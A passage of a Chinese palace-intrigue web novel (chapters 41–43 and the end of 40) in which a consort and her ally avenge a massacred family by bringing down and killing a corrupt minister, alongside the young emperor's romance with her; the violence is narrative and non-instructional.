姜颂当然知道沈美娘参与了。 她不仅参与了,姜颂甚至可以肯定这一切,都是她一手策划的。 但他想了想,还是道:“贵妃与前朝没有来往,就算这事真是李守义做的,也牵连不到贵妃身上。” 更别说,姜颂现在能确定沈美娘绝不是李守义的女儿了。 姜颂挥手让叶明舟退下,又把沈美娘喊了进来。 沈美娘看姜颂黑了 脸,猜他是在为自己算计他生气,盘算着该怎么给姜颂顺毛。 姜颂道:“沈美娘,昨晚你是故意做的局,对吗?” 沈美娘摇头,正打算继续诡辩,就听到姜颂道:“你是不是真不把自己的命当命?” 沈美娘没想到姜颂生气的点在这里。 可是姜颂想也不想就给人挡剑,好像是他更不把自己的命当命吧。 但沈美娘肯定不敢这么气姜颂,她装糊涂:“陛下说什么呢?臣妾不知道,昨晚真是吓死臣妾了,还好陛下替我挡了剑,不然……” “沈美娘,你别演了。”姜颂冷哼一声,“我都知道了,你根本就不是陈盈,你和李守义也不是父女。” 姜颂把他理清的思路讲出来:“青词比宝儿更早伺候你,是你还没进司马府就跟在身边的。可是青词和沈温在上京重逢后,看起来却不像是什么主仆。” “那就说明青词跟你的时间,还在你遇到沈温之前。青词一个婢女通诗书,你却大字不识,说明你们俩也不是主仆关系。”姜颂拼凑出来的猜测和事实几乎一点不差。 姜颂道:“那只有一种可能。” “你和青词是相互利用,你需要她的武功、医术保全自己,而她……需要你帮她报仇。” 沈美娘觉得她应该收回对姜颂蠢的评价。 她扯了个笑:“陛下,不是都猜到了吗?还问臣妾做什么?” 她没那个胆子,敢把皇帝的命都拉进这局里。 昨夜是姜颂自己要给她挡剑的,可怪不到她头上。 姜颂看沈美娘有破罐子破摔的意味,更生气了,道:“你要报仇,可以和我说!我肯定会帮你,只要你说一声,我马上就叫人查陈家当年的灭门案。” “我不要。”沈美娘摇头。 姜颂没想到到这份上,沈美娘居然还会说出这样的话,很是意外。 “如果我和陛下说了,那不过是以一个更强的强权压过不那么厉害的强权,我才不要。”沈美娘抬眼看向姜颂。 她的眼里神色格外坚定:“不仅我不要,青词也不要,陈盈、陈言清,每一个陈家人也不需要。” 沈美娘:“当年李守义敢灭陈家满门,不就是仗势欺人,以权压人,笃定陈家求助无门吗?” “我就是要李守义输在我一个蝼蚁手上。”沈美娘梗着脖子,不肯低头。 姜颂没想到沈美娘会说出这样的话。 但在理解她的意思后,姜颂心中震颤的同时,还有些面红羞愧。 明明他才是那个知道未来世界的人,但他其实并不能完全跟上沈美娘的思想。 姜颂:“原是如此……” 沈美娘道:“我原本也没算计你的命,是你自己自愿给我挡剑的。” 姜颂这才明白,沈美娘可能是误会他的想法了,道:“我没有怪你算计我,我只是觉得美娘,你每次都剑走偏锋,不爱惜自己的命。” 姜颂的话让沈美娘怔愣住。 原来他没有因为算计生气。 他是担心她。 姜颂又想到沈美娘可能不知道“剑走偏锋”的意思,解释道:“‘剑走偏锋’的意思就是……” “我知道,我最近学了这个词儿。”沈美娘道。 两人都误会了彼此的意思的人,陷入了沉默。 还是姜颂先开口,道:“美娘,我不怪你,但你能不能以后,不要做这般危险的事……至少,事前和我商量一下?” 沈美娘听到姜颂有些卑微的语气,又注意到他苍白的脸色。 她轻轻“嗯”了一声。 “那就说好了。”姜颂语气和缓不少,“还有——” “我替你挡了那一剑,不需要你回报我。” 沈美娘看到姜颂很明亮很好看的眼睛,此刻满是笑意:“我爱你,才会帮你挡剑。” “爱是不需要回报的——反正,我的爱,不需要你回报。” 沈美娘听到这句话,从昨晚到现在一直回避的那个问题,有了清晰的答案。 她心里那个幼稚的声音占了上风。 原来是因为爱。 40-50 第41章 第41章美娘怼人专场 李守义被下了狱。 联想到陛下几日前被刺的事情,虽还没有下定论,但有心之人一将两件事情串联,几乎就可以猜出答案。 沈美娘这日赶到了尚书府,却听仆人说,韩国夫人回娘家去见谢阁老了。 她也没离开,依旧坐在府里等着。 李姮听说她来府上,连忙出来迎她。 沈美娘从李姮微红的眼眶,看出来她应该是哭过了。 李姮嗫嚅道:“阿姐,你听说阿爹被下狱的事了吗?你和陛下毕竟是夫妻,你能不能说说好话,救救阿爹。” 沈美娘给李姮擦了擦眼泪,却还是摇头:“他派人刺杀陛下,哪里还有活路。” 更何况,她本来就是要李守义死。 李姮不知道李守义下狱的原因,听到沈美娘的话,惊得张大了嘴。 她反应过来,问的却是:“这可是会诛九族的大罪,是不是还会连累阿娘?” 沈美娘微微颔首。 李姮闻言,趴在桌子上大哭。 沈美娘看李姮哭得这般伤心,有些于心不忍,但她也没有能安慰她的话。 青词要李家所有给陈家陪葬,她既然当年答应了帮她复仇,如今也不能反悔。 但沈美娘身旁一直沉默不语的青词,却开了口:“李娘子莫忧,如今尘埃未定,还有转圜的机会。” 沈美娘颇为意外地看向青词。 等安慰好李姮,沈美娘才走到青词身边,低声问:“你打算放过谢明安和李姮?” 青词道:“当年的事,也不是他们两人的错。” 沈美娘明白了青词的意思,她将李姮扶进屋里休息,就听下人说是韩国夫人回来了。 沈美娘刚出来,就看到气势汹汹的谢明安,问:“夫人怎的这般急?” 谢明安看了沈美娘一眼,和下人确定她没有伤害李姮后,反问:“如今李府已是罪臣府邸,不知娘娘来这里做什么?” 沈美娘看谢明安态度如此恶劣,就知道她应当是从谢阁老口中,得知了那晚刺杀的事情。 谢明安和李守义夫妻多年,怎么会不清楚李守义的品行,恐怕已经猜出了沈美娘和所谓的刺杀有关系。 沈美娘没有因谢明安话里的警惕生气,道:“李大人就算是犯了天大的罪,也不是韩国夫人你的罪,本宫为何不来?” 谢明安听出沈美娘的言下之意是可以救她的意思。 她自从李守义下狱,四处奔走,可是昔日的朋友大都闭门不见。 即使是最疼她的父亲,今日狠狠训斥了她一顿,也不愿意帮她救李守义。 谢明安如今只能等。 若是运气好,兴许李守义死后,她和女儿只是会被没入掖庭,充为官婢…… 不然的话,恐怕连命都保不住。 听到沈美娘的话,谢明安像是溺水之人抓到了浮木,问:“你会帮我?” 沈美娘轻笑:“自然。” 谢明安屏退侍女,将沈美娘带进屋内详谈。 她问:“你有什么办法?” 沈美娘道:“夫人与李尚书是夫妻,只要和离,与他撇清关系不就好了吗?” 谢明安不是不知道这个办法,道:“那姮娘……” “这个不难。”沈美娘轻笑,“本宫膝下无子,就认姮娘做女儿,封个公主,日后嫁人也是风风光光的。若是不嫁人,那也可皈依道法,反正本朝皇室本就推崇道教。” 谢明安听到沈美娘的提议很是心动,但她又担心:“娘娘,如今还不到二十,如何能认个十五岁的女儿。” “这有什么,本宫看到姮娘这个姑娘就是心生欢喜,认作女儿正 好。“沈美娘道。 沈美娘看谢明安还有疑虑,又道:“本宫从前投在司马府门下,伤了身子,这辈子恐怕不能有自己的孩子。往后怕是还指望姮娘孝顺我。” 谢明安听到这话放心许多,她如今也信任不了旁人,又问:“娘娘,为何要帮我呢?” 她隐约能猜到沈美娘和李守义这次下狱脱不了干系,但她还是猜不到沈美娘要帮她的原因。 沈美娘看了眼青词,才道:“因为,有人比我心善……而且,我也想找夫人要一件东西。” 谢明安:“什么?” 沈美娘指了指自己的腰间,看向谢夫人:“这组玉佩的另外一枚。” 谢明安点头。 她起身将装在匣中的玉佩取出,交给沈美娘。 沈美娘拿了玉佩就要走。 谢明安想起听人说的沈美娘坎坷的身世,又想起“陈家”不幸被野火烧得一干二净的事。 她看着沈美娘的背影,追问:“你是在替陈家报仇吗?” 沈美娘闻言滞了片刻,但她没有回身。 出了李府,沈美娘将腰间的玉佩解下,将一整对玉佩都放到青词的手中。 她得意一笑:“看,我当年不是就和你说了吗?我肯定帮你把这对玉佩原原本本拿回来。” 沈美娘正得意,才忽然发觉青词的眼泪掉在了玉佩上。 她没想到青词平常这般内敛沉默的人,居然也会哭。 她有些手足无措。 青词却擦了擦眼泪,笑着对沈美娘道:“沈美娘,谢谢你。” 沈美娘有些无措。 她不喜欢别人对她说谢谢。 大家都是明码标价、互相利用而已,说谢谢就玷污了她们彼此利用的纯洁关系了。 沈美娘有些不自在,道:“你先好好哭吧,哭完了,我们就去见李守义。” 比起这种煽情的戏,她还是更喜欢痛打落水狗。 青词擦掉眼泪,恢复往日的平静:“好。”- 李守义从没想过有天自己会被关进天牢。 即使是很多年前,父亲突然离世,他最落魄的时候,也从未经历过如今这般的日子。 上京天气素来很燥,可这个天牢却极为阴湿,弥漫着腐朽的气息,和老鼠啃噬着什么东西的声音。 小小的窗户只能漏进来一点点光,时常让人分不清白天和黑夜。 “三房的犯人,有贵人来看你了……” 在这里,他不再是高高在上的礼部尚书,更没人在意他陇西李氏的出身。 他只是个犯人,不久以后,可能就会是个死人。 李守义听到动静,挪了挪,饥一顿饱一顿的身体没有足够的力气。 他向外面看去,就看到远远的提着食盒的女人。 李守义没有看真切,以为来人是谢明安,喃喃道:“夫人……” 但走进来的人是沈美娘。 李守义看清她的脸,冷哼道:“你来做什么?看我笑话?” 沈美娘将食盒放在李守义身前,很爽快地认了:“对,陇西李氏的笑话,多难得,我当然得来看。” 李守义不屑道:“沈美娘,那夜的事,不都是你栽赃我的吗?若不是你故意引陛下前去……” “大人你有证据吗?”沈美娘笑问。 李守义闭了嘴。 从始至终,沈美娘都在引导整个局势,但从来没真的参与过。 她至多只是在玉泉观那日,多带了些守卫,可那根本算不得什么实证。 别说是他,恐怕,就算是陛下也只是察觉不对,却拿不到真正的证据。 沈美娘看李守义是想通了,道:“这食盒里面的东西,是我给大人带来的礼物,大人不看看吗?” 见李守义不为所动,她又道:“不看也无碍,只是一颗头颅罢了。” 李守义听到沈美娘的话,愣了一会儿才明白她的意思。 沈美娘却已经打开了食盒,将一坨血肉淋漓的东西丢到他怀中。 乌血落在李守义本就肮脏的囚服,有一丝甜腻味的腐肉味在暗牢里蔓延。 李守义控制不住地干呕起来。 沈美娘却俯身,盯着他道:“李大人,为何如此矫情?你不是早就见过人头了吗?这就是一颗猪头而已,有这般吓人吗?” 李守义猛地抬眼看着沈美娘。 她怎么会知道?! 沈美娘:“李大人,你说人死后会去哪里,是去冥府,还是下地狱……也有可能会从地下爬出来,来找你报仇呢?” 李守义被沈美娘的话问住。 他盯着眼前的女人,声音颤抖:“你是陈盈……不,你不可能是她……你到底是谁?你居然以贱冒良,还犯了欺君之罪,你、你罪该万死!” 沈美娘听到李守义的话,愈加平静。 “该死的是我吗?”沈美娘将那颗猪头踢开。 她一把抓住李守义的头发,将他提起来与自己对视:“李大人,如此笃定我不是陈盈,不是因为大人知道……真正的陈盈早就死了吗?” 沈美娘紧紧盯着他:“甚至,你担心她的侍女代她去死,还千叮呤万嘱咐,让杀手把她的头割下来,带回京城给你了吗?” 沈美娘将李守义往地上一丢,俯视着眼前的人:“二十年前,你灭陈家满门时,尚在襁褓中的陈盈被陈夫人交给了素来相交的女冠。” “陈盈不知道害死她母亲和外公一家的人就是你,便在十二岁时修书一封给你。”沈美娘盯着眼前的男人,“你却再度暗下杀手。” “圣明二年,你派杀手追杀陈盈,不仅是陈盈……”沈美娘眼里闪过一丝憎恶,“你将收留陈盈的清虚观屠戮殆尽,整座青山,几乎化为血山。” 李守义听到沈美娘的话,他不可置信:“你是谁,你到底是谁?你是陈盈!不、不,你肯定是陈盈的丫鬟!” 她怎么会如此清楚这些事情? 就算她抓住了李二郎,但李二郎当年也只是派了几名杀手,帮他遮掩行踪……沈美娘怎的会对当年的事情如此了如指掌。 沈美娘轻笑:“我不是陈盈,我也不是她的丫鬟,更从未受过她的恩惠。” “但你做的那些事,难道你只对不起陈盈,对不起陈家人吗?” 陈家被烧死的仆人呢?那些仆人的家人呢?那些山中女冠们,她们本来清清静静地修道,却就这样丢了性命…… 但到了李守义这里,他甚至根本不会在意他们半分。 因为他们是蝼蚁。 因为他们天生命贱。 沈美娘恢复平静,盯着眼前的李守义:“尚书大人可能以为你现在已经很惨了。” “但……”沈美娘的笑意更深。 青词不知何时进来了,像道鬼影般站在沈美娘身后。 沈美娘指着青词手中捧着的木匣里的玉佩,道:“先是你的妻子舍弃你。” “再是你的朋党和家族抛弃你。” “我还会让天下人,都知道你只是个始乱终弃、抛妻弃子、乱杀无辜的贱/人。” 沈美娘道:“你们这些王孙贵族,不是都喜欢说贩夫走卒是贱/人吗?” “要我说,你们才是天底下,最/贱的人。”① 第42章 第42章儿童心理学大师(?)和小笨…… 谢府内,谢阁老面前站着前来“拜访”的郑尚书和沈温。 他批阅史馆送来的新撰写完的国史,头也没抬,问:“不就是一个李守义出事了吗?瞧你们这都急成什么样呢?” 郑尚书主动道:“可是他平日里与我们来往过密,若是陛下怀疑咱们也参与这件事……” “蠢。”谢阁老冷哼一声,“若是陛下查到这次刺杀有咱们的手笔,你以为,你我还能站在这里说话。” 郑尚书点头:“那这个李守义,咱们是保,还是不保呢?” 谢阁老听到这里才抬头,看了眼年过不惑的郑尚书,又看了看始终不发一言的沈温。 他问:“却寒,你说呢?” 沈温听到谢阁老喊他的字,拱手道:“如此大事,学生不敢多言。” 谢阁老:“无妨,你说。” 沈温才道:“李守义得保,但不必真保。他在礼部 根深蒂固,死一个他,叶党的人,手也伸不进礼部。” “但大人与他毕竟有姻亲,于情,便看大人自己了。” 谢阁老听到沈温滴水不漏的话,反问:“你说的情,怕不只是说姻亲,还有同僚之谊,叫我不要寒了其他人的心吧?” 李守义在礼部为谢党出力不少,他三次知贡举,也是谢党内部不少人,从前的座主。 沈温低头:“下官并无此意,是大人您重情重义,才想到了这一层。” 谢阁老眯了眯眼,温和一笑:“我知道了。” 他看向郑尚书,吩咐道:“你挑几个平常看起来中立的,上书陛下,替李守义求求情。” 郑尚书看这吃力不讨好的活落在自己头上,有些不乐意,但还是应下:“是。” 谢阁老又想起什么,问在场两人:“听说,李守义在牢里咬定是沈贵妃陷害他?” 今夜一直不怎么掺和这件事的沈温,此时却抢在郑尚书前开口:“沈贵妃一介后宫妇人,哪里能陷害李守义?下官反而查到是李守义原本想刺杀的人是她。” 谢阁老听到这话皱眉:“一个小小贵妃,李守义这便容不下呢?” 郑尚书看风头被沈温抢去,连忙道:“老师有所不知,这谢贵妃是叶明舟献给陛下的,李守义恐怕也是为了咱们谢党……” “荒谬。”谢阁老起身斥责,郑尚书和沈温连忙跪下。 谢阁老道:“贵妃是陛下的妃子,岂是他能动的?他这不是明着打陛下脸吗?” 郑尚书看谢阁老因他的话不悦,想起什么般道:“学生就说李守义这一步走错了。这沈贵妃也不一定是叶明舟的人,她从前是沈贤弟的侍女,未必不能为咱们所用。” 谢阁老问沈温:“当真如此?” 沈温道:“学生从前婢女众多,贵妃娘娘只是其中一个,当年随手送了人,早就不记得了。” “那倒是可惜了。”谢阁老点头,“却寒,这卷国史我已看完了,你改日拿给国史馆,叫他们重新写过……” 沈温:“是。” “你先退下罢。” 谢阁老打发走了沈温,才重新端坐回桌前。 郑尚书问:“老师留学生下来,不知可有什么吩咐的?” 谢阁老:“盯紧那个叫沈美娘的女人,她绝不简单。” 郑尚书试探问:“老师您早就知道她和沈温的关系,还有这次遇刺之事恐怕有她的手笔?” 谢阁老喝了口茶,没有直接回答:“这些年江南来的贡茶,总说比往年好,老夫却总觉得也不过如此。” 郑尚书想到叶明舟也是江南出身,明白谢阁老这是在说沈美娘再厉害,也还是要输叶明舟一些。 叶明舟当年初入官场做事便已是滴水不漏,沈美娘却终究还是有破绽在。 “我是迟早要死的,就是不知道我死了,你们谁能坐稳我这个位置。”谢阁老叹气。 郑尚书谄笑:“老师,您今年六十。按民间的说法,明年啊,您就一岁了,日子还长得很。” 谢阁老闭目养神,没说什么。 郑尚书心里却不得不盘算这事。 老师今日留他下来,未必不是更看重、信任他的意思。 李守义已经倒了,若他还能压过沈温去…… — 青词帮沈美娘更衣,殿中其他人已经退了出去。 她问:“那夜刺杀的事,我们本可以把做得更无破绽,娘娘为何要故意留下漏洞?” 就如那所谓杀手,沈美娘原本可以调宫中暗卫,却偏偏要让青词再去上京黑市是找几个杀手来。 沈美娘像是故意要叫别人知道她有参与此事般。 沈美娘将刚才侍女给她插的金钗,对着镜子拔掉了几支,也没有簪花。 她才道:“让别人知道我聪明是好事,别人就不敢轻易欺负我了。” “但太聪明了,可就不是好事了。” 沈美娘得让小皇帝知道她除了美貌外还有别的用处,也得让谢党人知道她不是个废物。 但若是聪明过了头,比小皇帝和谢阁老还聪明,那他们可就一定容不下她了。 沈美娘用胭脂抹了抹眼角,转过头问青词:“好看吗?像不像刚哭过?是不是楚楚可怜?” 青词听到她的三连问,轻轻点了点头。 然后,沈美娘带着她“楚楚可怜”的妆容去紫宸殿见姜颂了。 沈美娘去时看到叶丞相刚出来,她顶着一张“泫然欲泣”的脸,让叶明舟格外意外。 叶明舟今日进宫就是来和姜颂说,沈美娘可能与李守义刺杀一事,脱不了干系的。 可眼前的沈美娘眼睛又红又肿,穿得也素净简单,像是因陛下受伤的事无心打扮。 陛下刚才在殿内,也一口否决了叶明舟的猜想。 想来沈美娘如此爱陛下,肯定也不会舍得将他牵扯进这种事情。 到底是他多虑了。 沈美娘用帕子擦了擦眼,泪眼汪汪问:“丞相大人,不知陛下今日可有好些?” 叶明舟淡淡一笑:“陛下已经好多了,刚才还与微臣提及娘娘,想来陛下甚想娘娘。” 叶明舟这句话是他忽悠沈美娘的,从臣子的角度来说,他当然不该说这话。 但若是从长辈的角度,他这个做师父当然得做个好“助攻”。 应该是这词儿吧,当年陛下生母总是挂在嘴边念叨的。 沈美娘听到叶明舟的话有些意外。 她记得姜颂不是喜欢和别人讨论私人感情的人……可能是生病了,就喜欢倾诉吧。 沈美娘进去的时候,姜颂躺在床上,他却还在批折子。 “别看了,先把伤养好最重要。”沈美娘夺过姜颂手里的笔。 姜颂看到是她,眼里闪过一丝惊愕,没生气她的动作,但偏过头似乎是有些不高兴。 沈美娘趴在床头,凑上去看他,问:“陛下,不是和叶丞相说很想臣妾吗?” “谁想你了!那是叶先生胡说的。”姜颂道。 沈美娘擦了擦眼角,故作伤心:“原来如此,是臣妾误会了,陛下竟然一点都不想臣妾。” 姜颂这才转过头看她,语气埋怨:“是你不来看我好不好?我昨日就回紫宸殿了,你今天才来看我。” 沈美娘拉起姜颂的手,摩挲他手腕处的刺青,道:“臣妾听说陛下伤得重,臣妾想您先好好养病嘛。” 姜颂把手抽出来,“哼”了一声:“你是忙着去李守义那里落井下石吧。” 沈美娘反问:“这是刚才叶丞相和陛下说的?” “我早就知道了……”姜颂发觉自己被沈美娘套了话。 他心里不高兴,但还是不得不解释:“我没监视你,是我在李守义府上的人和天牢的人告诉我的。” 姜颂像是怕沈美娘不相信:“我真没监视你——刚才叶丞相和我说你的事,我还帮你遮掩过去了。” “臣妾相信陛下。”沈美娘又去拉姜颂的手。 姜颂这次没再把手抽出来,但心里还是有些不高兴:“你去李守义府和天牢,为何不提前和我说?” 沈美娘当然是知道和姜颂说了,他肯定不会答应。 但她不能真这般说。 她张口就来:“臣妾是真的不想让陛下忧心,陛下眼下就要好好养病,别的都不要想才对。” 姜颂对沈美娘的话很受用,往沈美娘那边靠了靠,道:“你是说的好听。” 沈美娘语气真切:“天地良心,臣妾昨晚担心陛下,可担心得好晚才睡。” 她指着自己画出来的红眼眶和眼下淤青,道:“不信,陛下你看?” 姜颂早已忘了沈美娘化妆的技术,此刻当真被她情真意切的话哄住了。 他乖乖躺进沈美娘怀里。 沈美娘垂眸,安抚着姜颂:“陛下不要想那般多,折子不那么重要的可以交给叶丞相帮帮忙。少看一两天,大燕也不会完蛋的。” 姜颂点点头,又摇头:“可是‘千里之堤,溃于蚁穴 ‘……” 他想到这个词儿沈美娘可能不知道,正想解释,就听到她开口:“臣妾学到这里了,臣妾懂陛下的意思。” “父皇说过我天资不够,若是再不勤奋点,大燕的祖宗基业肯定会在我手里毁于一旦的。”姜颂道。 沈美娘:“那什么才能算‘天资’呢?要多聪明才算聪明呢?要我说,陛下已经很聪明了。” 姜颂不自信:“可是父皇……” 沈美娘和姜颂细数:“先帝三征漠北自然有他的好处,可是,说大了,穷兵黩武,大燕的国库还能经得起耗多久?说小了,臣妾幼年时,寨子里的阿公们,宁愿自己打折了腿,也要逃役,那几年西南也为此总生动乱。” 沈美娘道:“但陛下登基这些年,继续先帝晚年,幡然醒悟后用的政策,没有为了搏功绩,延续战争……臣妾以为,不比先帝差。” 沈美娘说完这些话,才发觉姜颂一脸敬佩地看着她。 她发觉自己话说多了,连忙认错:“臣妾失言,还望陛下恕罪。” 姜颂用力摇头,用“星星眼”看沈美娘:“美娘,你好厉害!” 沈美娘喜欢别人夸她聪明、厉害,心里也很得意。 她看出姜颂此时心情转好,就将想认李姮当女儿的事告诉了她。 姜颂有些不解:“美娘,为何要认李姮一个十五岁的姑娘作女儿?” 沈美娘将她和谢明安说的话转述给姜颂。 姜颂惊讶:“美娘,你怎会不能生育……难道是叶司马给你喂过绝育药?” “没有。”沈美娘道:“但我得让‘沈贵妃的女儿’这个身份变得珍贵,所以故意骗谢明安的。” 也不能完全算骗。 生孩子是很容易死人的,沈美娘是个自私的人,她才不想为了一个没见过面的小孩,堵上性命。 她确实这辈子都不打算有自己的小孩。 姜颂点头。 沈美娘问:“陛下,那你能不能答应臣妾这事?” 姜颂:“你都和谢明安说了,我要是不答应,你不就被‘打脸’了吗?” 沈美娘亲了亲怀里姜颂的额头,笑道:“陛下,你真好!” 姜颂很欢喜地在沈美娘怀里蹭了蹭。 过了会儿,他后知后觉反应过来,怎么感觉沈美娘刚才讲她忽悠谢明安的事,很像在给他讲课。 不管了,美娘肯定是爱他,才给他细心讲的。 像他父皇就只会说他蠢。 美娘,就是天底下最好的人。 第43章 第43章关于下雪这件小事 李守义刺杀陛下之事,罪同谋逆,最终被姜颂赐了白绫算作了结。 谢党人表面上为李守义求了几句情,但都只是走走过场,他们更关心的还是李守义倒了,谁能顶上他那个位置。 朝中有喜欢感时悲叹之人,看李守义一朝落难妻女都急着撇清关系,同僚友人也多冷眼旁观,不由为他发了几声慨叹。 但这慨叹终结于,李守义的夫人——如今已与他义绝,脱了夫妻关系的谢明安,呈上了李守义当年灭陈家满门,还连亲生女儿都不愿放过的罪状。 那些证据证明了素来以清雅出名的李尚书,原是如此伤心病狂后,别说是同朝为官的士大夫们,就连寻常百姓也都知道了。 毕竟,朝中曾传过沈美娘是李守义女儿的说法,民间的说书先生也很喜欢这个故事,纷纷将它编成戏说传奇。 具体是谁复仇,如何复仇的版本颇多,但不论是哪个传奇,李守义的那个故事角色,都是板上钉钉的恶人。 时人皆唾弃李守义,若传奇故事能经久不衰,后人也会提到他就晦气。 沈美娘对此颇为满意。 她也得好好感谢帮她呈上证据的谢明安。 沈美娘从众多首饰里,挑了一组工艺繁复、精美华丽的金钏装进盒中,又挑了许多珠宝奇珍,吩咐宝儿亲自给谢明安母女送去。 她收李姮为义女,就是与她们母女牢牢绑定在一起了。 沈美娘那日虽只找谢明安要了陈言清的玉佩,但两人如今也只能互相帮衬。 这次谢明安揭发李守义的证据,大部分都是沈美娘和青词这些年陆陆续续查到的,还有前不久两人从李二郎口中问出来的。 叫沈美娘意外的,谢明安在得知陈家的事后,谢明安竟也有一点李守义的证据。 想来谢明安与李守义同床共枕多年,知道他本性如何,这些年一直都悄悄留意着。 可能是为了来日万一李守义像对陈言清那般对她时,她能够自保。 沈美娘还觉得更有可能的是,谢明安打算拿着那些证据,在李守义将来想“卖”李姮时,能拿出来威胁他。 谢明安拿到沈美娘给她和李姮的赏赐时,听宝儿转告沈美娘的话:“娘娘说,尚仪局已经在给李娘子挑封号了,待到下月上了玉牒,韩国夫人便不必担忧李娘子的前程了。” 谢明安点头,与宝儿又闲聊许久,才颇为热切地将宝儿送出府。 她看到谢阁老派来的人,说是要请她前去一叙。 谢明安第一次拒绝了父亲的请求。 她前不久去求谢阁老保全丈夫,却被狠狠数落了一通那般,如今没想到轮到她拒绝父亲了。 谢明安道:“女儿与李守义那个罪臣到了如今的地步,实在没有脸面见父亲大人,望父亲大人见谅。” 谢明安不再理那仆人,闭门谢客。 她转身看到女儿换了女冠打扮,欢欢喜喜走到她面前,从前脸上的病气像是被一扫而空:“阿娘,你说我这样打扮,是不是有点奇怪?” “不奇怪。”谢明安摇头轻笑,“好看的,像真君座下的小仙娥。” 李姮闻言,笑得很灿烂。 谢明安抿了抿唇,跟着高兴。 她是父亲的棋子,前半生都被父亲安排做了联姻的工具。 她们谢家的女儿大多是这个命,就算是最被父亲疼爱的她也不过如此,更别提幼年时就被许给先帝的长姐。 高门大多如此,不过,万幸她的女儿不会同她一样了。 在宝儿给谢明安送去赏赐后,沈美娘则带着青词,再次来到了天牢。 白绫应该明日午时就会送到李守义这里来,沈美娘必须得赶在那之前来这里。 她不能叫李守义那般便宜的离世。 沈美娘这次什么也没带,她站在门外,静静看着狱中宛如困兽的李守义。 他的头发已经脏得可能长了虱子,衣服上不知道是些什么奇怪东西,有可能是干涸的血迹,也可能是被动刑后,端不起饭碗洒下的清汤寡水的汤菜痕迹。 李守义这次甚至没有什么力气再质问沈美娘。 沈美娘看他这样,满意地勾唇一笑:“原来陇西李氏的贵公子,竟也会有如此落魄的一面。” 所谓衣不染尘的贵人们,也是如此不堪一击。 还比上常年卖力气求生的“蝼蚁们”。 李守义恨恨地盯着沈美娘:“是你害的我……” “不,是你自己害了你自己。”沈美娘冷声道,“致你于死地的桩桩件件,不都是你自己做的吗?与我何干?” 沈美娘看李守义眼中的恨意越深,依旧道:“即使是你刺杀这件事……若你不是怕暴露灭陈家满门与杀女之事,又动了歹心,怎会被我如此轻易算计?” 她道:“你这就叫‘自作孽,不可活’。” 李守义听到这话,像是被戳到了痛处,冷笑一声:“本官做错了什么?当年,家父突然撒手人寰,整个李家的担子都得我来挑,我有得选吗?!” “所以,你就要为了娶谢家女,杀了陈家满门,去了结你那段年少荒唐?”沈美娘反问。 李守义道:“那又如何?你根本就不懂!像你们这种生来卑贱的人,如何明白什么是跌落云端,从前每个对你都高高捧起的人,一夜之间就全都换了面孔……” “你根本就不明白! 我都是为了整个李家,我是为了整个陇西李氏!我有什么错?“李守义对着沈美娘宣泄怒吼。 隔着木门,沈美娘看着里面被逼于绝境,显得癫狂的人,很轻道:“我不知道。毕竟,你对不住的人也不是我。” 沈美娘身后的青词打开了牢房门,走了进去。 李守义这才察觉不对。 沈美娘俯身,盯着半跪着的李守义,道:“但肯定有人知道你哪里做错了,满殿神灵会知道,因你而死的人会知道……” 她说完这话,就转身往外走,她听到身后传来有鲜血喷溅的声音。 李守义挣扎着,道:“我错了,我错了!” 他以为至多不过是一杯毒酒,三尺白绫,却从未想过会是这般漫长的死亡。 李守义见沈美娘没有停下脚步的举动,又道:“陈家的火不是我放的,是、是谢阁老叫我放的!” 他这话说完,青词的刀果然没有下一步动作,沈美娘也回过身看他。 李守义捂住不断流血的伤口,乞求道:“你放了我……不、不,你让我死得干净利落点,我就告诉你,当年的事究竟是怎样!” 沈美娘没想到陈家灭门案竟然还有隐情,她看向青词,却见青词眼中毫无波动。 沈美娘理解了青词的意思,回绝李守义:“不必了。” 她既然能把李守义拉下马,她同样也可以自己再把谢阁老与陈家灭门案的关系查出来。 青词今日来天牢,就是来找李守义讨债的,她不能让青词空来一趟。 沈美娘转身,不再管身后的动静。 她从天牢出来时,才发觉下雪了。 原来上京的三月竟也会下雪,纷纷扬扬,像鹅毛,又好像比鹅毛还要轻。 沈美娘伸手想去接雪,她从小生在南方,对雪总是格外的好奇。 她原本想赏雪,可眼前突然投下一片阴影。 沈温看她没撑伞,有些担忧:“美娘,今日下了梨花雪,冷了许多,你怎的连伞都没撑?” 被打搅不能玩雪的沈美娘有点不悦。 但她今日来天牢,又是得托沈温出力,她不能直接黑脸。 沈美娘“嗯”了一声,默默和他挪开了一点位置。 沈温嫌九族太多,沈美娘可舍不得连累九族,尤其是祸及爹娘。 她都还没带七娘和阿爹过过好日子,可不能福没让他们享受到,反把他们拖下水了。 沈温站在沈美娘身边,欲言又止,最后还是开口:“美娘,你和陈盈是旧识吗?你才会这般执着替她报仇?” 沈美娘已经解释烦了这个问题,道:“不认识,顺手帮一下。” 她和青词就是纯粹的互相利用,她压根一个陈家人都不认识,别再问她这个问题了。 沈温看她的眼神愈加复杂。 美娘总是这般善良,当年对他是,如今对青词和陈家人也是…… 他只当沈美娘这是随口敷衍,反而愈加觉得沈美娘善良温柔。 不论他变成什么样,只要看到沈美娘,他就不会忘掉自己的本心。 沈美娘看沈温眼神变得有些奇怪,怕他又说些容易牵连她九族的话,她先主动开口问:“李守义死了,谢阁老打算怎么安排礼部?给你吗?” 沈温摇头:“谢阁老打算把卢家人安排进去,你知道的,卢家和谢家素来交好。” 沈美娘知道卢家也是五姓七望之一,他们几家联姻也不是一天两天了。 按理来说,李守义倒了,该轮到沈温才是…… 看来谢阁老还是有些看不上沈温的出身。 沈美娘觉得沈温有点蠢。 谢党几乎都是开国大勋贵和五姓七望出身的官员,他偏要去这里闯。 沈美娘若是他,闭着眼都该投相对来说,主要是寒门与小士族的叶党才是。 思及此,她突然察觉到不对…… 这般简单的道理,沈温再蠢也不应该不明白。 那他为何还要投于谢党门下? 沈温像是看出了沈美娘走神,问她怎么呢。 沈美娘:“没什么。” 她就是觉得沈温可能也有他的秘密。 一个能五年时间就爬到高位的人,怎么都不该犯过把她送给叶司马,还有错投朋党这么愚蠢的错才对。 恰好此时,青词捧着一个盒子出来了。 沈美娘迎了上去,她看到了盒缝上的血迹。 她知道里面装的是李守义的头颅。 不过,李家人如今巴不得离李守义这个谋乱的罪臣越远越好,可不会来给他收尸。 会来给李守义收尸的人,只有好心肠的谢明安,念在“夫妻情谊”可能会多管闲事。 但谢明安如今和她都是李姮的娘了…… 谢明安当然也不会声张李守义究竟是怎么死的。 至于如何瞒过天牢里,各方势力的眼线—— 沈美娘看向沈温:“剩下的便交给沈大人了。” 沈美娘背开沈温,才问青词:“你现在就要回绵州去吗?” 